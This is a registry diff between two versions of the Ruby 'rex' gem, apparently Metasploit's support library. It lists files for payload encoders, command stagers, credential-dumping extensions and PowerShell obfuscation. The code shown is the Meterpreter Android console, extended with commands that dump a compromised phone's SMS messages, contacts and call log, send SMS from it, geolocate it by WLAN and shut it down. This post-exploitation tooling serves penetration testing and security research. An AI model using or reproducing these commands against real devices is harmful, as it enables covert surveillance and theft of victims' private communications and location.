rex 2.0.8 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
|
@@ -1,17 +1,17 @@
|
|
|
1
1
|
# -*- coding: binary -*-
|
|
2
2
|
require 'rex/post/meterpreter'
|
|
3
3
|
require 'msf/core/auxiliary/report'
|
|
4
|
+
require 'rex/google/geolocation'
|
|
5
|
+
require 'date'
|
|
4
6
|
|
|
5
7
|
module Rex
|
|
6
8
|
module Post
|
|
7
9
|
module Meterpreter
|
|
8
10
|
module Ui
|
|
9
|
-
|
|
10
11
|
###
|
|
11
12
|
# Android extension - set of commands to be executed on android devices.
|
|
12
13
|
# extension by Anwar Mohamed (@anwarelmakrahy)
|
|
13
14
|
###
|
|
14
|
-
|
|
15
15
|
class Console::CommandDispatcher::Android
|
|
16
16
|
include Console::CommandDispatcher
|
|
17
17
|
include Msf::Auxiliary::Report
|
|
@@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android
|
|
|
26
26
|
'geolocate' => 'Get current lat-long using geolocation',
|
|
27
27
|
'dump_calllog' => 'Get call log',
|
|
28
28
|
'check_root' => 'Check if device is rooted',
|
|
29
|
-
'device_shutdown' => 'Shutdown device'
|
|
29
|
+
'device_shutdown' => 'Shutdown device',
|
|
30
|
+
'send_sms' => 'Sends SMS from target session',
|
|
31
|
+
'wlan_geolocate' => 'Get current lat-long using WLAN information',
|
|
32
|
+
'interval_collect' => 'Manage interval collection capabilities'
|
|
30
33
|
}
|
|
31
34
|
|
|
32
35
|
reqs = {
|
|
33
|
-
'dump_sms'
|
|
34
|
-
'dump_contacts'
|
|
35
|
-
'geolocate'
|
|
36
|
-
'dump_calllog'
|
|
37
|
-
'check_root'
|
|
38
|
-
'device_shutdown'
|
|
36
|
+
'dump_sms' => ['dump_sms'],
|
|
37
|
+
'dump_contacts' => ['dump_contacts'],
|
|
38
|
+
'geolocate' => ['geolocate'],
|
|
39
|
+
'dump_calllog' => ['dump_calllog'],
|
|
40
|
+
'check_root' => ['check_root'],
|
|
41
|
+
'device_shutdown' => ['device_shutdown'],
|
|
42
|
+
'send_sms' => ['send_sms'],
|
|
43
|
+
'wlan_geolocate' => ['wlan_geolocate'],
|
|
44
|
+
'interval_collect' => ['interval_collect']
|
|
39
45
|
}
|
|
40
46
|
|
|
41
47
|
# Ensure any requirements of the command are met
|
|
42
|
-
all.delete_if do |cmd,
|
|
43
|
-
reqs[cmd].any? { |req|
|
|
48
|
+
all.delete_if do |cmd, _desc|
|
|
49
|
+
reqs[cmd].any? { |req| !client.commands.include?(req) }
|
|
44
50
|
end
|
|
45
51
|
end
|
|
46
52
|
|
|
47
|
-
def
|
|
53
|
+
def interval_collect_usage
|
|
54
|
+
print_line('Usage: interval_collect <parameters>')
|
|
55
|
+
print_line
|
|
56
|
+
print_line('Specifies an action to perform on a collector type.')
|
|
57
|
+
print_line
|
|
58
|
+
print_line(@@interval_collect_opts.usage)
|
|
59
|
+
end
|
|
60
|
+
|
|
61
|
+
def cmd_interval_collect(*args)
|
|
62
|
+
@@interval_collect_opts ||= Rex::Parser::Arguments.new(
|
|
63
|
+
'-h' => [false, 'Help Banner'],
|
|
64
|
+
'-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
|
|
65
|
+
'-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
|
|
66
|
+
'-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
|
|
67
|
+
)
|
|
68
|
+
|
|
69
|
+
opts = {
|
|
70
|
+
action: nil,
|
|
71
|
+
type: nil,
|
|
72
|
+
timeout: 30
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
@@interval_collect_opts.parse(args) do |opt, idx, val|
|
|
76
|
+
case opt
|
|
77
|
+
when '-a'
|
|
78
|
+
opts[:action] = val.downcase
|
|
79
|
+
when '-c'
|
|
80
|
+
opts[:type] = val.downcase
|
|
81
|
+
when '-t'
|
|
82
|
+
opts[:timeout] = val.to_i
|
|
83
|
+
opts[:timeout] = 30 if opts[:timeout] <= 0
|
|
84
|
+
end
|
|
85
|
+
end
|
|
86
|
+
|
|
87
|
+
unless client.android.collect_actions.include?(opts[:action])
|
|
88
|
+
interval_collect_usage
|
|
89
|
+
return
|
|
90
|
+
end
|
|
91
|
+
|
|
92
|
+
type = args.shift.downcase
|
|
93
|
+
|
|
94
|
+
unless client.android.collect_types.include?(opts[:type])
|
|
95
|
+
interval_collect_usage
|
|
96
|
+
return
|
|
97
|
+
end
|
|
98
|
+
|
|
99
|
+
result = client.android.interval_collect(opts)
|
|
100
|
+
if result[:headers].length > 0 && result[:entries].length > 0
|
|
101
|
+
header = "Captured #{opts[:type]} data"
|
|
102
|
+
|
|
103
|
+
if result[:timestamp]
|
|
104
|
+
time = Time.at(result[:timestamp]).to_datetime
|
|
105
|
+
header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
|
|
106
|
+
end
|
|
107
|
+
|
|
108
|
+
table = Rex::Ui::Text::Table.new(
|
|
109
|
+
'Header' => header,
|
|
110
|
+
'SortIndex' => 0,
|
|
111
|
+
'Columns' => result[:headers],
|
|
112
|
+
'Indent' => 0
|
|
113
|
+
)
|
|
114
|
+
|
|
115
|
+
result[:entries].each do |e|
|
|
116
|
+
table << e
|
|
117
|
+
end
|
|
118
|
+
|
|
119
|
+
print_line
|
|
120
|
+
print_line(table.to_s)
|
|
121
|
+
else
|
|
122
|
+
print_good('Interval action completed successfully')
|
|
123
|
+
end
|
|
124
|
+
end
|
|
48
125
|
|
|
126
|
+
def cmd_device_shutdown(*args)
|
|
49
127
|
seconds = 0
|
|
50
128
|
device_shutdown_opts = Rex::Parser::Arguments.new(
|
|
51
129
|
'-h' => [ false, 'Help Banner' ],
|
|
52
130
|
'-t' => [ false, 'Shutdown after n seconds']
|
|
53
131
|
)
|
|
54
132
|
|
|
55
|
-
device_shutdown_opts.parse(args)
|
|
133
|
+
device_shutdown_opts.parse(args) do |opt, _idx, val|
|
|
56
134
|
case opt
|
|
57
135
|
when '-h'
|
|
58
136
|
print_line('Usage: device_shutdown [options]')
|
|
@@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android
|
|
|
62
140
|
when '-t'
|
|
63
141
|
seconds = val.to_i
|
|
64
142
|
end
|
|
65
|
-
|
|
143
|
+
end
|
|
66
144
|
|
|
67
145
|
res = client.android.device_shutdown(seconds)
|
|
68
146
|
|
|
69
147
|
if res
|
|
70
|
-
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
|
|
148
|
+
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
|
|
71
149
|
else
|
|
72
150
|
print_error('Device shutdown failed')
|
|
73
151
|
end
|
|
74
152
|
end
|
|
75
|
-
|
|
76
|
-
def cmd_dump_sms(*args)
|
|
77
153
|
|
|
154
|
+
def cmd_dump_sms(*args)
|
|
78
155
|
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
|
79
156
|
dump_sms_opts = Rex::Parser::Arguments.new(
|
|
80
|
-
|
|
81
|
-
|
|
157
|
+
'-h' => [ false, 'Help Banner' ],
|
|
158
|
+
'-o' => [ false, 'Output path for sms list']
|
|
82
159
|
)
|
|
83
160
|
|
|
84
|
-
dump_sms_opts.parse(args)
|
|
161
|
+
dump_sms_opts.parse(args) do |opt, _idx, val|
|
|
85
162
|
case opt
|
|
86
163
|
when '-h'
|
|
87
164
|
print_line('Usage: dump_sms [options]')
|
|
@@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android
|
|
|
91
168
|
when '-o'
|
|
92
169
|
path = val
|
|
93
170
|
end
|
|
94
|
-
|
|
171
|
+
end
|
|
95
172
|
|
|
96
|
-
|
|
97
|
-
smsList = client.android.dump_sms
|
|
173
|
+
sms_list = client.android.dump_sms
|
|
98
174
|
|
|
99
|
-
if
|
|
100
|
-
print_status("Fetching #{
|
|
175
|
+
if sms_list.count > 0
|
|
176
|
+
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
|
|
101
177
|
begin
|
|
102
178
|
info = client.sys.config.sysinfo
|
|
103
179
|
|
|
104
180
|
data = ""
|
|
105
181
|
data << "\n=====================\n"
|
|
106
|
-
data << "[+]
|
|
182
|
+
data << "[+] SMS messages dump\n"
|
|
107
183
|
data << "=====================\n\n"
|
|
108
184
|
|
|
109
185
|
time = Time.new
|
|
@@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android
|
|
|
112
188
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
|
113
189
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
|
114
190
|
|
|
115
|
-
|
|
116
|
-
|
|
191
|
+
sms_list.each_with_index do |a, index|
|
|
117
192
|
data << "##{index.to_i + 1}\n"
|
|
118
193
|
|
|
119
194
|
type = 'Unknown'
|
|
@@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android
|
|
|
147
222
|
data << "Address\t: #{a['address']}\n"
|
|
148
223
|
data << "Status\t: #{status}\n"
|
|
149
224
|
data << "Message\t: #{a['body']}\n\n"
|
|
150
|
-
|
|
225
|
+
end
|
|
151
226
|
|
|
152
227
|
::File.write(path, data)
|
|
153
|
-
print_status("
|
|
228
|
+
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
|
|
154
229
|
|
|
155
230
|
return true
|
|
156
231
|
rescue
|
|
157
|
-
print_error("Error getting messages: #{
|
|
232
|
+
print_error("Error getting messages: #{$ERROR_INFO}")
|
|
158
233
|
return false
|
|
159
234
|
end
|
|
160
235
|
else
|
|
@@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android
|
|
|
163
238
|
end
|
|
164
239
|
end
|
|
165
240
|
|
|
166
|
-
|
|
167
241
|
def cmd_dump_contacts(*args)
|
|
168
|
-
|
|
169
242
|
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
|
170
|
-
dump_contacts_opts = Rex::Parser::Arguments.new(
|
|
171
243
|
|
|
244
|
+
dump_contacts_opts = Rex::Parser::Arguments.new(
|
|
172
245
|
'-h' => [ false, 'Help Banner' ],
|
|
173
246
|
'-o' => [ false, 'Output path for contacts list']
|
|
174
|
-
|
|
175
247
|
)
|
|
176
248
|
|
|
177
|
-
dump_contacts_opts.parse(args)
|
|
249
|
+
dump_contacts_opts.parse(args) do |opt, _idx, val|
|
|
178
250
|
case opt
|
|
179
251
|
when '-h'
|
|
180
252
|
print_line('Usage: dump_contacts [options]')
|
|
@@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android
|
|
|
184
256
|
when '-o'
|
|
185
257
|
path = val
|
|
186
258
|
end
|
|
187
|
-
|
|
259
|
+
end
|
|
188
260
|
|
|
189
|
-
|
|
190
|
-
contactList = client.android.dump_contacts
|
|
261
|
+
contact_list = client.android.dump_contacts
|
|
191
262
|
|
|
192
|
-
if
|
|
193
|
-
print_status("Fetching #{
|
|
263
|
+
if contact_list.count > 0
|
|
264
|
+
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
|
|
194
265
|
begin
|
|
195
266
|
info = client.sys.config.sysinfo
|
|
196
267
|
|
|
@@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android
|
|
|
205
276
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
|
206
277
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
|
207
278
|
|
|
208
|
-
|
|
279
|
+
contact_list.each_with_index do |c, index|
|
|
209
280
|
|
|
210
281
|
data << "##{index.to_i + 1}\n"
|
|
211
282
|
data << "Name\t: #{c['name']}\n"
|
|
212
283
|
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
data << "Number\t: #{n}\n"
|
|
216
|
-
}
|
|
284
|
+
c['number'].each do |n|
|
|
285
|
+
data << "Number\t: #{n}\n"
|
|
217
286
|
end
|
|
218
287
|
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
data << "Email\t: #{n}\n"
|
|
222
|
-
}
|
|
288
|
+
c['email'].each do |n|
|
|
289
|
+
data << "Email\t: #{n}\n"
|
|
223
290
|
end
|
|
224
291
|
|
|
225
292
|
data << "\n"
|
|
226
|
-
|
|
227
|
-
|
|
293
|
+
end
|
|
294
|
+
|
|
228
295
|
::File.write(path, data)
|
|
229
296
|
print_status("Contacts list saved to: #{path}")
|
|
230
297
|
|
|
231
298
|
return true
|
|
232
299
|
rescue
|
|
233
|
-
print_error("Error getting contacts list: #{
|
|
300
|
+
print_error("Error getting contacts list: #{$ERROR_INFO}")
|
|
234
301
|
return false
|
|
235
302
|
end
|
|
236
303
|
else
|
|
@@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android
|
|
|
243
310
|
|
|
244
311
|
generate_map = false
|
|
245
312
|
geolocate_opts = Rex::Parser::Arguments.new(
|
|
246
|
-
|
|
247
313
|
'-h' => [ false, 'Help Banner' ],
|
|
248
314
|
'-g' => [ false, 'Generate map using google-maps']
|
|
249
|
-
|
|
250
315
|
)
|
|
251
316
|
|
|
252
|
-
geolocate_opts.parse(args)
|
|
317
|
+
geolocate_opts.parse(args) do |opt, _idx, _val|
|
|
253
318
|
case opt
|
|
254
319
|
when '-h'
|
|
255
320
|
print_line('Usage: geolocate [options]')
|
|
@@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android
|
|
|
259
324
|
when '-g'
|
|
260
325
|
generate_map = true
|
|
261
326
|
end
|
|
262
|
-
|
|
327
|
+
end
|
|
263
328
|
|
|
264
329
|
geo = client.android.geolocate
|
|
265
330
|
|
|
@@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android
|
|
|
278
343
|
end
|
|
279
344
|
|
|
280
345
|
def cmd_dump_calllog(*args)
|
|
281
|
-
|
|
282
346
|
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
|
283
347
|
dump_calllog_opts = Rex::Parser::Arguments.new(
|
|
284
348
|
|
|
@@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android
|
|
|
287
351
|
|
|
288
352
|
)
|
|
289
353
|
|
|
290
|
-
dump_calllog_opts.parse(args)
|
|
354
|
+
dump_calllog_opts.parse(args) do |opt, _idx, val|
|
|
291
355
|
case opt
|
|
292
356
|
when '-h'
|
|
293
357
|
print_line('Usage: dump_calllog [options]')
|
|
@@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android
|
|
|
297
361
|
when '-o'
|
|
298
362
|
path = val
|
|
299
363
|
end
|
|
300
|
-
|
|
364
|
+
end
|
|
301
365
|
|
|
302
366
|
log = client.android.dump_calllog
|
|
303
367
|
|
|
304
368
|
if log.count > 0
|
|
305
|
-
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
|
|
369
|
+
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
|
|
306
370
|
begin
|
|
307
371
|
info = client.sys.config.sysinfo
|
|
308
372
|
|
|
@@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android
|
|
|
317
381
|
data << "Remote IP: #{client.sock.peerhost}\n"
|
|
318
382
|
data << "Remote Port: #{client.sock.peerport}\n\n"
|
|
319
383
|
|
|
320
|
-
log.each_with_index
|
|
321
|
-
|
|
384
|
+
log.each_with_index do |a, index|
|
|
322
385
|
data << "##{index.to_i + 1}\n"
|
|
323
|
-
|
|
324
386
|
data << "Number\t: #{a['number']}\n"
|
|
325
387
|
data << "Name\t: #{a['name']}\n"
|
|
326
388
|
data << "Date\t: #{a['date']}\n"
|
|
327
389
|
data << "Type\t: #{a['type']}\n"
|
|
328
390
|
data << "Duration: #{a['duration']}\n\n"
|
|
329
|
-
|
|
391
|
+
end
|
|
330
392
|
|
|
331
393
|
::File.write(path, data)
|
|
332
394
|
print_status("Call log saved to #{path}")
|
|
333
395
|
|
|
334
396
|
return true
|
|
335
397
|
rescue
|
|
336
|
-
print_error("Error getting call log: #{
|
|
398
|
+
print_error("Error getting call log: #{$ERROR_INFO}")
|
|
337
399
|
return false
|
|
338
400
|
end
|
|
339
401
|
else
|
|
@@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android
|
|
|
342
404
|
end
|
|
343
405
|
end
|
|
344
406
|
|
|
345
|
-
|
|
346
407
|
def cmd_check_root(*args)
|
|
347
408
|
|
|
348
409
|
check_root_opts = Rex::Parser::Arguments.new(
|
|
349
410
|
'-h' => [ false, 'Help Banner' ]
|
|
350
411
|
)
|
|
351
412
|
|
|
352
|
-
check_root_opts.parse(args)
|
|
413
|
+
check_root_opts.parse(args) do |opt, _idx, _val|
|
|
353
414
|
case opt
|
|
354
415
|
when '-h'
|
|
355
416
|
print_line('Usage: check_root [options]')
|
|
@@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android
|
|
|
357
418
|
print_line(check_root_opts.usage)
|
|
358
419
|
return
|
|
359
420
|
end
|
|
360
|
-
|
|
421
|
+
end
|
|
361
422
|
|
|
362
423
|
is_rooted = client.android.check_root
|
|
363
424
|
|
|
364
425
|
if is_rooted
|
|
365
426
|
print_good('Device is rooted')
|
|
366
|
-
|
|
427
|
+
else
|
|
367
428
|
print_status('Device is not rooted')
|
|
368
429
|
end
|
|
369
430
|
end
|
|
370
431
|
|
|
432
|
+
def cmd_send_sms(*args)
|
|
433
|
+
send_sms_opts = Rex::Parser::Arguments.new(
|
|
434
|
+
'-h' => [ false, 'Help Banner' ],
|
|
435
|
+
'-d' => [ true, 'Destination number' ],
|
|
436
|
+
'-t' => [ true, 'SMS body text' ],
|
|
437
|
+
'-dr' => [ false, 'Wait for delivery report' ]
|
|
438
|
+
)
|
|
439
|
+
|
|
440
|
+
dest = ''
|
|
441
|
+
body = ''
|
|
442
|
+
dr = false
|
|
443
|
+
|
|
444
|
+
send_sms_opts.parse(args) do |opt, _idx, val|
|
|
445
|
+
case opt
|
|
446
|
+
when '-h'
|
|
447
|
+
print_line('Usage: send_sms -d <number> -t <sms body>')
|
|
448
|
+
print_line('Sends SMS messages to specified number.')
|
|
449
|
+
print_line(send_sms_opts.usage)
|
|
450
|
+
return
|
|
451
|
+
when '-d'
|
|
452
|
+
dest = val
|
|
453
|
+
when '-t'
|
|
454
|
+
body = val
|
|
455
|
+
when '-dr'
|
|
456
|
+
dr = true
|
|
457
|
+
end
|
|
458
|
+
end
|
|
459
|
+
|
|
460
|
+
if dest.blank? || body.blank?
|
|
461
|
+
print_error("You must enter both a destination address -d and the SMS text body -t")
|
|
462
|
+
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
|
|
463
|
+
print_line(send_sms_opts.usage)
|
|
464
|
+
return
|
|
465
|
+
end
|
|
466
|
+
|
|
467
|
+
sent = client.android.send_sms(dest, body, dr)
|
|
468
|
+
if dr
|
|
469
|
+
if sent[0] == "Transmission successful"
|
|
470
|
+
print_good("SMS sent - #{sent[0]}")
|
|
471
|
+
else
|
|
472
|
+
print_error("SMS send failed - #{sent[0]}")
|
|
473
|
+
end
|
|
474
|
+
if sent[1] == "Transmission successful"
|
|
475
|
+
print_good("SMS delivered - #{sent[1]}")
|
|
476
|
+
else
|
|
477
|
+
print_error("SMS delivery failed - #{sent[1]}")
|
|
478
|
+
end
|
|
479
|
+
else
|
|
480
|
+
if sent == "Transmission successful"
|
|
481
|
+
print_good("SMS sent - #{sent}")
|
|
482
|
+
else
|
|
483
|
+
print_error("SMS send failed - #{sent}")
|
|
484
|
+
end
|
|
485
|
+
end
|
|
486
|
+
end
|
|
487
|
+
|
|
488
|
+
def cmd_wlan_geolocate(*args)
|
|
489
|
+
wlan_geolocate_opts = Rex::Parser::Arguments.new(
|
|
490
|
+
'-h' => [ false, 'Help Banner' ]
|
|
491
|
+
)
|
|
492
|
+
|
|
493
|
+
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
|
|
494
|
+
case opt
|
|
495
|
+
when '-h'
|
|
496
|
+
print_line('Usage: wlan_geolocate')
|
|
497
|
+
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
|
|
498
|
+
print_line(wlan_geolocate_opts.usage)
|
|
499
|
+
return
|
|
500
|
+
end
|
|
501
|
+
end
|
|
502
|
+
|
|
503
|
+
log = client.android.wlan_geolocate
|
|
504
|
+
wlan_list = []
|
|
505
|
+
log.each do |x|
|
|
506
|
+
mac = x['bssid']
|
|
507
|
+
ssid = x['ssid']
|
|
508
|
+
ss = x['level']
|
|
509
|
+
wlan_list << [mac, ssid, ss.to_s]
